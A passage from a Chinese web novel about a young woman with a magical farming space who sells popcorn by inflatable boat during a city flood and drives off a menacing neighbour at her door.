现在的网友都很有分享欲，她很快就找到了各种详细的教程，走廊上有监控，她不知道走廊上的摄像头有没有独立电源，不敢冒险，便回家从空间里拿了工具。 网上的教程很管用，不到几分钟，秦小薇就把窗户拆下来了，她又试着按照教程把窗户重新安了上去。 等把船送出去了就把窗户安上，就算物业看到了监控，应该也不会找她的麻烦…… 充气船的出入问题解决了，秦小薇的心情非常好，她哼着歌回了九楼。 开门的时候，她瞥了眼对面的豪华大铁门，想到他们家现在还在开空调，也没听到发电机的声音，回家后，她就拿出手机，搜了下阿姨之前说的发电板。 这个品牌的规模似乎挺大，总部就在隔壁市，他们家主推各种太阳能发电板，阿姨说的那种发电板是他们公司的高端线产品，一套就要几十万。 不过它的功能确实也很强大，发电量非常可观，就算现在是阴天，一套设备也足够带动好几台空调。 秦小薇觉得，这东西放空间里肯定好用，不过这价格实在是太贵了，她真的买不起…… 她又翻了下他们家店铺，除了高端系列，他们家也有“平价款”，价格从几千到几万不等，他家的主推款现在在打折，还有政府补贴，补贴后就只要3999，秦小薇研究了一下，3999的那款算是性价比最高的了。 但和她之前买的户外电源一比，还是有点贵……不过它俩本来也不是同一种东西！ 她觉得有些奇怪，政府补贴一般不是补贴冰箱、洗衣机这种常用家电吗？怎么会补贴太阳能发电板？ 难道是什么政府支持的新项目？ 看店铺首页的介绍，现在同城可以送货上门，还会安排师傅免费安装。 秦小薇想到空间里的户外电源，那几度电不知道还能坚持多久，半个月后水退了，电力也不一定会马上恢复…… 犹豫了一下，她敲了客服，询问客服宁市可不可以送货上门。 客服很快给出了肯定答案，但是要等三天后，到时候他们公司会安排货船统一送过来。 秦小薇想了想，暂时没下单。 等她回学校看看能不能赚到钱，要是赚得多，她就买个更好的，要是赚不到什么钱，她再下单3999那款！ 秦小薇有午休的习惯，这几天待在寝室，她每天中午都要睡够一个小时，午睡时间到了，秦小薇开始不停地打哈欠。 她定了个闹钟，拿了个毯子搭在肚子上，在沙发上睡了个午觉。 睡醒后，她进了空间，翻出打包盒，开始分装爆米花。 工坊出产的爆米花一份500克，不过爆米花属于膨化食品，一份的体积特别大，秦小薇摆摊之前，会用买来的纸盒把它们分装成小份。 一份500克的爆米花，可以分装成5份，虽然分装后每份只有100克，但因为爆米花体积大，分装后它们的分量依旧看起来十分可观。 她在小吃街卖10块钱一份，大部分人都不会觉得贵，再加上爆米花味道好，在小吃街一直非常受欢迎。 不过现在出行困难，物价普遍上涨，秦小薇打算提提价，卖三十块一盒。 爆米花和面包是小摊上的主营产品，秦小薇一直有意识地囤货，生产它们的零食厂和烘焙工坊也一直没停工，暴雨这几天，仓库里已经积攒了几百份爆米花，她花了些时间，才把它们分装完。 爆米花分装完，她又在空间里找了几个大纸箱，把分装成盒的爆米花码放进去，她担心大纸箱放船上会被雨水打湿，还在底部缠了保鲜膜防水。 装完爆米花后，秦小薇给之前送她回来的大姐打了个电话，她和大姐说，自己弄到了一艘充气船，可以自己回学校。 大姐不是很相信，坚持要来接她，直到秦小薇说自己办完事去办公楼找她，大姐沉默了几秒，回了句“船费不退”，才挂了电话。 收拾好东西，秦小薇把东西搬下了楼，装爆米花的纸箱和充气船的体积太大，她一趟搬不了，分了两趟搬。 她第一趟先搬的爆米花，第二趟才搬充气船，结果她搬着充气船下来的时候，发现装爆米花的箱子被人动过了，原本合拢的箱子被人打开了，里面的爆米花少了整整十盒！ 秦小薇四处看了看，走廊里十分安静，一个人都没有。 秦小薇很生气，都是邻居，竟然做这种事！穷疯了吗？连爆米花都要偷！ 她看了眼走廊上的监控，不知道监控还能不能用？晚点找李阿姨问问，要是监控还能用，她一定要找物业把这个小偷揪出来！ 秦小薇知道，这种事，就算有人看到了也不一定会说。 怕得罪人！ 她就没去敲住户的门问他们有没有看到小偷是谁。 她看着那一扇扇紧闭的房门，只觉得猫眼后面站着一个个小偷，像只阴暗的老鼠，盯着走廊上来来往往的住户…… 充气船很顺利地下水了，大纸箱下水的时候她费了些力气，折腾了好一会，才把纸箱固定好。 纸箱有点遮挡视线，秦小薇摇着桨换了个方向，才开始往Q大的方向划。 保安亭在暴雨前两天的时候就被淹了，围墙也“掩埋”在积水之下，现在的Q大，可以说是让人随意进出。 秦小薇挑了个人多的教学楼，把充气船划了过去。 她也不怯场，沿着教学楼的外墙叫卖起来：“卖爆米花！又香又甜的蜂蜜黄油爆米花！三十块一份！” 她的声音很快就吸引了楼里人的注意，有人冲着她招招手，示意她过去：“三十块太贵了，便宜点！” 秦小薇苦着一张脸，故作为难地解释道：“没办法，原材料贵，黄油要冷冻保存，不好弄，蜂蜜的价格也涨上了天，我费了不少力气才弄来一点，卖便宜了我要亏本的！” 其实爆米花的原材料只有一份玉米，可能是零食厂黑科技的原因，做出来的爆米花就是比外面加了黄油蜂蜜的爆米花还要香甜。 秦小薇也就非常不要脸地给自己卖的爆米花起了个“蜂蜜黄油爆米花”的名字。 “哪有什么蜂蜜？爆米花我还没吃过吗？加的都是糖……便宜点！”中年女人继续讨价还价。 嫌货才是买货人，听她这么说，秦小薇也不生气，她直接打开一盒爆米花，戴上一次性手套，给对方抓了几颗：“阿姨，你尝尝，用的都是好东西！” 尝过爆米花的味道后，中年女人的眼睛亮了下：“你便宜点，我买四盒！一百块四盒，你也不用找钱了！” 暴雨之前，大家都习惯网络支付，就算暴雨前在银行取了点现金，秦小薇手上也没有多少零钱，不用找钱确实会 方便很多！ 况且，她卖的爆米花真的没什么成本，卖25一盒也比以前赚。 一番讨价还价后，秦小薇同意“降价”：“算了算了，阿姨，看你是今天开张的第一单，我才给你便宜的……” 第一单之后，秦小薇又拿着刚刚打开的那盒爆米花，让窗户边上的人试吃，可能是因为教学楼真的物资匮乏，很多人没讲价就买了，又因为秦小薇“三十一盒，五十两盒”的定价，很多人不是买两盒就是买四盒，没一会，秦小薇带过来的爆米花就卖完了。 中途，秦小薇也问了他们要不要坐船回家，但她的船没装推进器，只能手划，很多人都对秦小薇的“续航能力”表示怀疑，还有人直接说担心她会半路撂挑子…… 这让她十分郁闷。 她一共带了五十盒爆米花出来，除了刚刚被偷的那十盒，和拿出来试吃的那盒，不到十分钟，她就赚了980块，还有没买到的人问她什么时候再来…… 想到被偷的十盒爆米花，秦小薇更郁闷了，250块呢！ 这生意实在是太好做了，就跟捡钱似的，天还没黑，秦小薇便想多跑几趟。 她担心回公寓取货的时候东西还会被偷，准备回宿舍楼找个帮手。 第27章 第27章赚钱（双更合一）…… 比起东西被小偷偷了影响心情,秦小薇更愿意让它们折成钱，给室友当报酬。 她给隔壁寝手机还有电的同学打了个电话，让她帮忙叫一个室友下来,结果她到寝室楼下的时候,发现三个室友都下来了。 范槿看到她坐着的皮划艇非常惊讶：“薇薇,半天不见，你怎么开了条这么可爱的船回来？” “和邻居借的……”秦小薇含糊其辞地带了过去,“我在办公楼那边卖爆米花,回家拿货的时候需要一个人帮忙，你们谁能帮我一下？” 想到刚刚赚的九百多,秦小薇又补充了一句：“有偿的！” 范槿立刻举手：“我我我！我在寝室待的都快发霉了，我想去！不要报酬！” 段霞和肖琳琳也想出去，但被范槿抢先了。 段霞：“行,那我和琳琳轮明天！” 于是,事情就这样定下来了，秦小薇把船划了过去，范槿顺着绳梯爬了下来。 “饭饭,你坐我对面，靠着箱子坐,这样重量比较均匀,不容易翻船……” “好！” 船上配了四把桨，但之前只有秦小薇一个人划船，她就把另外两把桨挂在充气船两侧当装饰,范槿前几天当志愿者的时候受过培训，也是会划船的，就是动作不太熟练。 她上来之后，两个人一起划船,秦小薇一下子轻松了许多。 范槿运动神经发达，很快就熟练了，她的表情也变得从容起来。 范槿：“上次当志愿者的时候我就想划船了，但她们说我是女孩子，让我坐着就行了，这回终于摸到桨了……” 秦小薇：“那你今天可以划个够……” 坐了一会，范槿注意到了秦小薇的头发，她震惊道：“薇薇，你洗头了？！” 为了方便活动，秦小薇扎了个丸子头，但是只看额头的碎发，就能发现她的头发比之前清爽了许多。 秦小薇点头：“出租房里有煤气灶，我用煤气灶烧了水洗头。” 范槿停下手上的动作，她双眼亮晶晶，满脸期待地看着秦小薇：“薇薇，我不要报酬，但是……你能让我去你家洗个澡吗？” 秦小薇知道十天不洗澡不洗头有多难受，她没怎么犹豫，点头道：“行！等卖完了爆米花，我再带你回去洗澡！” “啊啊啊薇薇你最好了！” “行了，别喊了，快划船！” “好，嘿嘿嘿……” 路上，秦小薇和范槿说了爆米花被偷的事，让她待会在船上等自己就行了。 范槿听得一脸气愤：“怎么会有这样的人啊？薇薇，你放心，我一定帮你守好船……” 范槿晚点会来她家，到家后，秦小薇又从空间里拿了些东西出来，才抱着装爆米花的大纸箱下楼。 因为有范槿在下面接着，秦小薇这次把爆米花送上船的时候轻松了许多。 50盒爆米花也就10斤，就算在船上堆十箱爆米花也不用担心船会被压沉，秦小薇连着跑了三趟，搬了三箱爆米花下来。 范槿担心纸箱拿下来的时候会倒，用了三根绳子分别固定它们。 范槿看着身后垒得高高的纸箱有些惊讶：“薇薇，这都是你下午做的？” 秦小薇点头，表情看不出一丝心虚：“我自己用锅爆的，好几个灶一起，这东西做起来快得很，一锅就能出很多盒。” 都是她下午亲手分装的，怎么不算自己做的呢？ 范槿没在家做过爆米花，并没有怀疑她的解释，路上，秦小薇和她说了爆米花的定价。 范槿没问她为什么涨价，只默默记下了价格。 秦小薇先去了之前去过的那栋教学楼，船刚靠近，就有人拿着钞票过来买爆米花。 “五十两盒是不是？给我来两盒！” “我现金不够，能不能扫码？” “……” 也有人试图讨价还价，但是过来买爆米花的人太多了，还不等秦小薇和对方聊两句，船上的三大箱爆米花就卖完了。 她甚至连试吃的那半盒爆米花都没来得及打开…… 空气中弥漫着一股香甜的味道，秦小薇猜测，应该是有人在教学楼吃了爆米花，才会引得这么多人过来购买。 爆米花的香气和烤红薯一样霸道，在教室里吃一会，保管屋里的人都能闻到那股味道…… 范槿没摆过摊，还有些手忙脚乱，见她们带来的爆米花都卖完了，她才松了口气。 范槿：“爆米花这么好卖吗？刚刚有个男的竟然一口气买了八盒……” 秦小薇：“我平时在外面摆摊也没这么火爆，应该是因为这边没有超市，他们关了好几天，买不到别的东西才会这么疯狂……” 范槿：“薇薇，你家还有爆米花吗？” 秦小薇估算了一下，已经卖出去四十斤了，应该差不多了，再从空间里拿爆米花出来，范槿就要怀疑她的“产能”了。 况且今天也赚了4700，够她拿下跃能那款正在打折的太阳能板了！ 秦小薇摇了摇头：“下午做的已经卖完了，明天再继续吧！” 范槿：“那我们现在去你家？” 秦小薇拿出手机：“我和上午送我回家的大姐约了在学校见面，你等下，我给她打个电话……” 片刻之后，她按下锁屏键：“那个大姐说她还要二十分钟才能回来，我们等下她。” 范槿：“行！那我们先回趟寝室，我去拿换洗的衣服。” 秦小薇：“好。” 拿完了换洗的衣服，秦小薇又折回教学楼附近，试图接单送人的生意，趁着天没黑再赚一笔，但几乎所有对用船有需求的人都对充气船的运力表示怀疑，还有人拿暴雨刚开始的时候志愿者翻船的事说事…… 最过分的事，有个中年大叔用这个理由把船费压到了100块，目的地还是十几公里外。 秦小薇：“……”那她还不如多卖几盒爆米花！ 折腾了十来分钟，她放弃了。 算了，继续卖爆米花吧！卖爆米花也很赚钱，她傍晚这一个多小时就赚了四千多呢！ 秦小薇默默安慰自己。 见完了大姐，两人才划着船回秦小薇家。 公寓附近的安全实在是令人担忧，秦小薇不敢把充气船留在外面，她拆了半边窗户，和范槿一起把充气船搬回了公寓。 秦小薇开门后，范槿好奇地打量着屋里的陈设：“薇薇，充气船要还给你邻居吗？” 秦小薇这才想起来，自己之前说船是从邻居那借的。 她用脚带上门，摇了摇头，放下怀里抱着的箱子，指了下阳台的方向：“先不用，先放阳台，我待会还要送你回去……你坐会，我去给你烧洗澡水！” “好！” 范槿放好充气船，就来找秦小薇聊天：“薇薇，你家布置得好温馨啊！沙发和家具的配色都好好看！” 秦小薇：“都是房东布置的，这套房子房东原本是想拿来当民宿的，但宁市的旅游业你也知道，这边酒店又多……后来她就干脆拿来出租了。” “薇薇，你家是不是没多少水了？”范槿注意到，秦小薇家里就一个水桶里还有水，脸盆都是空的。 秦小薇点头：“当时想着暴雨期间应该不缺水，就没特意去买水桶，只在冰箱里囤了点矿泉水……我下午洗澡又用了不少。” 范槿拍了拍她的肩膀：“没事，学委中午发了净水片，明天阿霞她们来的时候，我让她们给你带一点……” “净水片？” 范槿：“说是外面的水太脏，如果我们要喝外面的水，先用净水片处理一下，免得生病拉肚子……我们下午试了试，用完以后，水确实能变干净，但是有股□□的味道。” “唉，学校真是杞人忧天，那水里不知道混了多少屎尿，谁敢喝啊！我们三个都商量好了，这半个月少喝点水，寝室里剩下的桶装水应该够我们坚持下去……就算真没水了，我也不想喝外面的水！” 想到宿舍二楼、三楼还泡在水里的排泄物，秦小薇一想到要喝外面的水，也有些作呕。但她觉得，真要是缺水了，在有净水片的情况下，不一定所有人都能忍住不喝水…… 秦小薇又拿了个锅，往里面倒了些水，放在灶台上烧着：“家里还有几袋挂面和鸡蛋，你吃鸡蛋面吗？” “要，鸡蛋我要溏心的！” 鸡蛋面虽然做法简单，但对好几天没吃正常饭菜的范槿来说，加了麻油的鸡蛋面还是很香的，她一口气干掉了一大碗。 吃完了晚饭，范槿才端着装开水的锅进了浴室，和秦小薇一样，她在浴室里洗了很久，下水道的积水下不去，她洗完澡之后，还用拖把把浴室的积水打扫干净了。 洗完澡，范槿坐在沙发上用毛巾擦头发：“薇薇，我看你厨房挺多锅的，你一个人忙得过来吗？明天要不要我们提前过来帮你爆爆米花？” 为了不让她产生怀疑，秦小薇之前回来拿爆米花的时候，把露天厨房的多孔灶和煤气罐都搬了出来，她还把家里的锅都拿了出来，为求逼真，还往锅里倒了油…… 秦小薇可不敢让她们过来帮忙，她连忙拒绝：“不用，我已经掌握了用燃气灶爆爆米花的技巧，我一个人可以搞定，等我这边弄好了，我就去宿舍楼接你们，再折回来拿爆米花，反正这里离学校近，也花不了多少时间……” 见她都安排好了，范槿也就没再多说什么。 趁着天还没完全黑，范槿的头发擦到半干，秦小薇就送她回宿舍了。 虽然范槿说不要报酬，但她今天赚了不少，范槿也确实帮了她大忙，分别的时候，她直接往范槿口袋里塞了300。 范槿有些哭笑不得，但还是收下了那三张纸币。 室友今天发财了，让她出出血好像也没什么…… 等秦小薇从学校回来的时候，天已经完全黑了，走廊和楼梯间只能听到她一个人的脚步声，那脚步声砸在她心上，让她无端有些恐惧。 其实秦小薇胆子还算大，以前也不怎么怕黑。 但架不住公寓楼前几天刚死过人，就算她胆子再大，也是个普通人。 秦小薇以前一直以为，杀人这种事只会存在于电视剧或是新闻中，完全没想过它会真切地发生在自己身边。 此刻走在空无一人的走廊里，她莫名有种毛骨悚然的感觉。 听说有些人死后会化为厉鬼留在死亡的地方…… 秦小薇默默加快了脚步，她决定，晚上去空间里过夜，感觉今天晚上睡在家里，她半夜会做噩梦…… 时间还早，到家后她的手机就不缺电了，她现在也没什么睡意，秦小薇便想登录游戏，把今天的日常任务做了。 谁知日常任务做到一半，大门口却忽然传来一阵敲门声。 黑暗中忽然响起的敲门声实在是太惊悚，秦小薇被吓了一跳。 她深吸了一口气，才试探地喊了一句：“谁啊？” 她连着喊了好几句“谁啊”，门外的人始终没有回答，敲门声却忽然变成了砸门声，不是那种正常的敲门声，而是非常用力地砸门，门板都在晃的那种。 联想到之前李阿姨和她说的“八卦”，秦小薇忍不住吞了吞口水，她不会遇到什么变态了吧？一直不说话，外面砸门的是活人吗？ 不慌！不慌！这个世界根本就没有鬼！ 就算真是变态，她应该也能干翻他！ 再说了，对面邻居家还有好几个保镖呢，她要是向他们求助，他们应该也会帮忙！ 秦小薇花了几秒给自己做心理建设，又去厨房拿了把菜刀，她打开手机手电筒，把手机固定在玄关的鞋柜上，她走到门边，隔着门板冲着外面的人又喊了一句：“谁啊？” 秦小薇凑到猫眼前，想看看门外是谁，但走廊里没有灯，外面光线太黑，她什么都看不到。 “我，你楼下的邻居！”门外传来一个陌生的男声，“你之前是不是在小吃街卖面包？我家没吃的了，来找你买点吃的，你先开门……” 是活人就好！ 秦小薇对男人的声音一点印象都没有，但对方故意吓她的行为让她很生气，她毫不犹豫地拒绝道：“我家没吃的，我卖的货都是从亲戚那拿的，早就清空了，你回去吧！” 但门外的男人却没有离开的意思：“不可能，我不久前才听到你和你朋友讨论卖爆米花的事，你下午还往楼下搬了好几个大箱子，你家肯定有吃的！你卖我一点，钱不是问题，大家邻里邻居的，你帮帮忙……我老婆孩子饿了好几天了！” 虽然嘴上说着软话，但说话间，他又用拳头砸了几下门，秦小薇站在门后面，都能感受到门板的晃动。 大晚上跑来砸陌生女邻居的门，还刻意观察她白天的动向，留意她和其他人的聊天，这是变态吧！ 秦小薇的声音变得冷硬起来：“说了没有就是没有，你再不走，我不客气了！” “小姑娘，你一个人住，也吃不了那么多东西，别那么小气，大方一点……你开门，卖我一点，以后你在小吃街摆摊，我还去支持你的生意……” 男人还在不停地砸门，两人隔着门板僵持了好一会儿，秦小微觉得再这么下去也不是个事，在等对方主动离开和主动出击之间，她选择了后者。 打不过的话，找对面邻居求助吧！ 唉，穿越这么久，她第一次觉得手里防身的工具不够用。 等水退了，她一定要想办法补充一点！ 还得在门外安个带夜视功能的摄像头。 “唉，你早开门不就好了，还省得我在外面站那么久……”在秦小薇开门的一瞬，男人就想从门缝里挤进来。 秦小薇才不给他这个机会，直接一脚踹了过去。 她虽然怕鬼，但活人她可不怕！ “嗷——”男人只觉得右腿的腿骨传来一阵钻心的痛，他站立不稳，当场就在秦小薇面前跪下了。 秦小薇却不打算就这么放过他，她直接把菜刀架在对方的脖子上：“我说了，我不卖吃的，你听不懂吗？” 男人被这变故吓了一跳，他原本就只是见这女的长得漂亮，又是一个人住，想占点便宜，再弄点吃的回去，谁知道九楼这女的这么猛，一开门就废了他一条腿。 想到楼上那个被女人捅死的大兄弟，他吞了吞口水，有点紧张：“小、小姑娘，你先把刀放下，杀、杀杀人可是要坐牢的……我、我我真的就只想买点吃的，你、你你要是不卖，就、就算了，我去别家问问……” 秦小薇忽然闻到了一股尿臊味，她低头看了一眼，脸黑了。 什么人啊？在她家门口尿尿，等下还要她来打扫！ 菜刀贴着他脖颈的皮肤，秦小薇威胁了他几句，又冲着男人的左腿踢了一脚：“滚吧！以后别让我看见你！下次让我看到你做这种事，我就把你**剁了！” “嗷——好好好！我马上走！马上走！再也不来打扰你了！”男人忙不迭地点头，他扶着墙，想要站起来，但腿太疼了，他刚站起来就又跪下了，还跪到了自己的尿渍上。 但他实在是不敢在这里待太久，毕竟这女人一打照面就动刀子，留在这里会发生什么，他还真拿不准。 最后，他只能手脚并用地朝着楼梯间爬去…… 男人离开后，秦小薇看了下手上拿着的菜刀，才发现自己右手有点抖。 她用左手按住右手手腕，靠着墙，深深呼出一口气，站在原地缓了好一会。 第一次拿菜刀和人干架，有点紧张…… 缓过来之后，秦小薇盯着地上的尿液嫌弃地撇了撇嘴，她叹了口气，回屋拿拖把拖地。 外面还真是什么牛鬼蛇神都有！回家第一天就碰到了这样的事，真是晦气！ 秦小薇在心里把刚刚的猥琐男骂了一百遍。 就在她打扫地上尿渍的时候，对面的大门忽然打开了，灯光从门缝里透了出来，李阿姨四处看了看，见走廊上没其他人，才走了出来。 李阿姨：“小秦，我刚刚真是替你捏了一把汗，小方他们都准备出来帮忙了，没想到你一脚就把那男的踢趴下了……” 说着，她冲着秦小薇竖了个大拇指。 秦小薇知道，刚刚的事，李阿姨肯定在监控里都听到了，她露出一个有些腼腆的笑：“李阿姨，其实我本来想听你的，不开门，但是那个男的太讨厌了，一直不走……” 李阿姨：“你能把人打跑，开不开门都没差……但要是有人来找你要吃的，小秦你可千万别心软，要是开了个口子，那些人就会跟水蛭一样围过来，能恶心死人……” 说着，她似乎是想到了什么不好的事，厌恶地皱了皱眉。 秦小薇想到对面邻居的“财大气粗”，大概猜到了李阿姨为什么会露出这种表情。 秦小薇：“阿姨，我看楼下走廊里都装了监控，那些监控现在还能用吗？” 李阿姨：“应该能吧？我也不是很清楚……前几天警察过来的时候还从楼上的监控上面拆了卡下来，要是监控坏了，他们也不会把那卡带走……” 听到李阿姨这么说，秦小薇瞬间有种下楼拆监控的冲动。 她真的很好奇，到底是哪个不要脸的偷她的爆米花？ 但仔细思考之后，秦小薇还是决定再等等，暴雨之后，公寓的物业和保安就没来上班了，还是等水退了，各项情况都恢复了再说吧。 她不了解对方的情况，就这么一个人找上去，似乎有点危险……感觉现在楼里杂七杂八的人还挺多的。 可能是因为在家里关了好几天，李阿姨比以往健谈了许多，拉着秦小薇说了很久的话。 关上大门之后，她也没了上游戏做日常任务的心思。 秦小薇反锁上房门，把鞋柜和沙发搬到门后面，用它们抵住大门。就算有小偷半夜撬锁，也不一定能进来。 想到刚刚的事，她还有些心有余悸，她坐在床上，打开购物软件，下单了一堆防身工具。 其中还有一个手持的充电式电锯，秦小薇想象着自己握着电锯和坏人对峙的模样，感觉会很有威慑力…… 第28章 第28章物资包（双更合一）…… 买完防身工具,秦小薇还下单了一台带夜视功能的摄像头。 想到今天下午赚的钱，秦小薇打开跃能的官方店，下单了两套正在打折的太阳能板,一套放公寓里,还有一套放空间里。 可能是因为一套发电板折算成爆米花也就一百多盒,秦小薇付款的时候，一点心痛的感觉都没有。 明天多卖几箱爆米花,这钱就又回来啦！ 除了发电板能确定三天后就能送货上门,其余的东西，发货时间都遥遥无期。 因为暴雨,平台也调整了发货期限，最晚的甚至长达三个月，不过各家店铺的首页都发了公告,表示交通恢复后,会第一时间给顾客发货，秦小薇也就没太在意。 屋里太黑了，很容易让人联想到一些不好的东西,买完了东西，秦小薇就进了空间。 空间里没有黑夜,永远都是白天,刚进去，秦小薇就觉得浑身充满安全感。 唉，等水退了,在附近找套安保好一点的房子搬走吧！ 公寓里死过人，白天听李阿姨说这事的时候她还没什么感觉，但到了晚上，还真的有点吓人…… 秦小薇进养牛场撸了会奶牛,又去隔壁骚扰了正在散步的鸡和小猪崽，试图通过和这些鲜活的生命接触，驱散身上薛定谔的“阴气”，之后她又翻出健身工具，站在海边晒太阳撸铁…… 撸铁的时候，秦小薇忽然想到，真要是遇到了危险，她可以把人扔农场空间的海里淹死；还可以把人直接装仓库里“保鲜”，等她准备好了对付对方的工具，再把人放出来…… 农场里这么大一片地方，不管她是想埋尸还是把尸体冻在雪屋里都很方便。 啊！！！！她怎么忽然开始想这么刑的东西？对面两个摄像头呢！雪屋可是她储存食物的“冰箱”，怎么能放尸体？！ 她可是个遵纪守法的好公民！快忘掉刚刚的想法！快忘掉！ 秦小薇甩了下脑袋，甩掉脑袋里恐怖的想法。 运动过后，她的心情轻松了许多，她翻出下午用来收钱的斜挎包，开始数钱算账。 很好，钱的数目都对上了，没有漏收钱的…… 她在空间里一觉睡到天亮，起床后，她没急着回学校接室友，反而一直窝在床上玩手机。 之前她是觉得爆米花装在箱子里，她搬一箱下去，之后再不断往箱子里补充爆米花，偷摸着卖，有箱子挡着，别人也不会发现什么，但现在楼里已经有人知道她在卖爆米花了，她还找了室友帮忙，就得谨慎一点了。 毕竟在外人看来，她卖的爆米花都是自己做的，爆爆米花需要时间，太早出门容易穿帮。 做戏做全套，中途她还打开煤气灶，用炒菜锅爆了好几锅爆米花，让楼上楼下的人都能闻到爆米花的味道。 玉米粒是她之前在批发市场买的，刚开始那两锅她不太熟练，火开大了，爆出来的爆米花有一股焦味，后面熟练了，就没有焦味了。 虽然她加了糖，但和工坊出产的爆米花相比，这几锅爆米花的味道还是差了很多。 不过秦小薇每次都只放一小把玉米粒进去，就算做了好几锅，做出来的分量依旧不是很多，拿来当小零食，应该很快就能消耗完…… 中午和晚上室友可能会留下来吃饭，她用家里的高压锅煮了一锅米饭。 空间里的东西不能拿出来，用蛋炒饭对付一下吧！夜宵她再吃点好的！ 昨天买完充气船，秦小薇的金币账户就清零了，她想快点攒够金币买猪崽，今天准备把机场里刷出来的订单都完成了。 但她今天运气不太好，机场里一张超过一百金币的订单都没刷出来，其中有一张订单，需要三份小麦，只给了六个金币三点经验……今天完成十张订 单，她一共只能拿到164金币。 看来还得再攒一段时间，才能拿下另外三头小猪崽。 还是等级太低了，解锁的物品太少，她记得穿越前，机场里随随便便就能刷出奖励一两千金币的订单。 白天的公寓比晚上热闹许多，她时不时就能听到头顶和外面走廊传来的脚步声和说话声。 秦小薇大致浏览了一遍今天的头条新闻，Q省大部分区域雨都停了，某些地方就算雨没停，也只是小雨。附近其他几个省，倒是都在下暴雨。 专家呼吁民众不要放松警惕，虽然Q省的雨停了，但邻省都还在下雨，防洪工作依旧非常重要，普通人出行也得注意安全…… 市政已经在组织投放应急物资，已经有不少人收到了社区和村里发放的物资包。 秦小薇点开评论区的图片看了看，除了最基础的药品和净水片，似乎每个城市、每个县区物资包里的食物都不一样，有些发的是泡面、自热火锅；有些是半成品的包子馒头饺子，有些是能量饼干；还有些则是大白菜、面粉…… 跟开盲盒似的。 其中，最倒霉的是拿到了半成品饺子汤圆的，饺子汤圆是速冻食品，暴雨这几天，很多地方都停电了，这些东西不知是运输的时候没用专门的冷藏船冷藏，还是在仓库里的时候就化冻了。 市民拿到手里的时候，它们中很多都黏成了一坨，虽然没有坏，但是煮出来以后，那卖相让人一点食欲都没有…… 而且现在断电，这些东西拿回家得尽快吃掉，要不然放个三四天，肯定会臭掉，但给他们发食物的工作人员却不管他们的抗议，还和他们说这是未来半个月的食物，让他们省着吃。 不过这种情况也有解决的办法，只要有交通工具，他们就可以用包子、馒头和其他区的人交换耐储存的食物。 从本质上来说，这属于工作人员的失误…… 除此之外，某些社区的物资包里还会提供卫生纸、洗发水等生活用品。 翻完评论区的图片，秦小薇想到了之前在宿舍的时候领的那几包能量饼干，那应该就是他们这片区域派发的物资了！ Q大的运气算是不好也不坏。 还好她有空间，要不然就得吃十几天能量饼干了！ 大致浏览完今天的头条新闻，秦小薇又打开视频软件，刷了会小视频，视频软件推送的内容大多还是和暴雨有关，国内国外的都有。 国内似乎和之前差不多，但随着时间的推移，国外很多国家，情况都有越变越差的趋势，国外的视频给她的唯一感觉就是国外现在到处都是各种恶性犯罪。 秦小薇没一会儿就刷到了好几具打码的死尸。 穿越前她是个坚定的无神论者，穿越后，她很确信这个世界上有灵魂的存在，至于有没有鬼，她还真不确定……楼上前几天才死过人，她实在是不想看到这种东西，很快退出了视频软件。 还是玩游戏吧！ 玩了没一会，方庆的消息从屏幕上方弹了出来。 【方庆：学妹，401的临时医务室撤销了，我之后不会去值班了。】 【方庆：我现在在社团当志愿者，待会跟船出去，你缺不缺什么东西？我路上看到了帮你带。】 看到方庆发来的消息后，秦小薇的第一反应是，医务室撤了，养在401的猫怎么办？ 她打完了手上这一局才退出游戏回复方庆的消息。 【秦小薇：不用了，学长。我已经回出租房了，邻居借了船给我，我现在出门还蛮方便的。】 【秦小薇：医务室撤了之后，401的咪咪有人养吗？】 消息发出去没多久，她就收到了方庆的回复。 【方庆：猫被上次和你一起送猫来的一个女生接走了，我不知道她叫什么名字，短头发，戴着红色的圆框眼镜，下巴上有颗痣……她说她先养着，等水退了，就把猫送去宁市的流浪动物救助中心。】 通过对方的描述，秦小薇大概猜到了接走猫的人是谁。 是郑黄，给小奶猫提供猫粮的那位。 以她对小奶猫的上心程度，小奶猫养在她那，应该不会吃苦。 两人又聊了几句，方庆还暗戳戳地打听她租的房子在哪，说要给她送东西，秦小薇不想和他发生更多的故事，便含糊过去了。 她在床上躺到十点半，才把抵着门的沙发鞋柜挪开，准备出门，刚开门，就看到一个头发乱糟糟的女人在敲对面的房门。 听到开门的声音，女人转过身来，秦小薇和她对视的一瞬间，清楚地看到女人的眼睛亮了。 她皮肤有些黑，看起来有些邋遢，眼角的眼屎都没擦干净，头发胡乱绑了个低马尾，身上浅蓝色的居家服也皱巴巴的，大约三十多岁的样子。 她搓了搓手，冲着秦小薇开口道：“那个……我是住楼上的，你能帮我个忙吗？” 看在同为女性的份上，秦小薇没有立刻拒绝她：“什么事？” “我有个朋友被社区安排到临时安置点去了，她特别缺物资，你能帮我送点东西过去吗？不让你白干，等水退了我请你吃饭……就在鸿日家园那边，不远的！” 听完她的话，秦小薇在心里默默翻了个白眼，现在这种环境，找人帮忙还开空头支票，一点好处都不给，真是一点诚意都没有。 难怪李阿姨他们不开门！ 秦小薇：“不用你请我吃饭……” 听到她这么说，女人脸上瞬间绽放出笑容：“这怎么好意思……” 秦小薇：“给钱就行，跑一趟500，只能送两个行李箱过去。” 听到她的后半句话，女人跟表演川剧变脸似的，瞬间收回脸上的笑容，表情变得严厉起来。 她用教训晚辈的语气冲着秦小薇开口道：“你一个年轻姑娘，怎么这么市侩？张口闭口就是钱，还500，你怎么不去抢？鸿日家园离这里这么近，我打个车过去，都不要20块……” 秦小薇从学校回来，不到一公里的路程就花了三百，鸿日家园离公寓这里好几公里，划船来回要一个多小时，她报500都是看在她们是邻居的份上。 秦小薇无意和她纠缠，关上大门，半托半抱着充气船就往前走：“那你打个车过去吧！20块就够了！” 见她要走，女人急了：“哎，你别走啊！价格好商量，你便宜点，50、50行了吧？鸿日家园又不远，一会儿就到了！” 秦小薇没理她，默默加快了脚步。 女人：“唉，我再给你加点，60……哎，80，不能再多了……100……” 女人喊道100，见秦小薇还是没停下脚步，她就没再喊了，转过头继续敲李阿姨家的门。 秦小薇估计，李阿姨应该是不会开门的，毕竟对面的男主人，给邻居送的乔迁礼都是几千块一盒的巧克力，哪会缺她这一百块！ 看李阿姨昨天的态度，他们应该已经快烦死了楼里想占他们家便宜的住户。 秦小薇去宿舍楼接了段霞后，才折回来取装好箱的爆米花。 在家里关了十天，很多人都受不了了，今天外出的人比昨天多一些，但并不是人人都有船，很多人用的是自制的“交通工具”。 比如说轮胎改造的、只能坐一个人的“橡皮艇”，用空心PVC管扎的塑料筏……千奇百怪的。 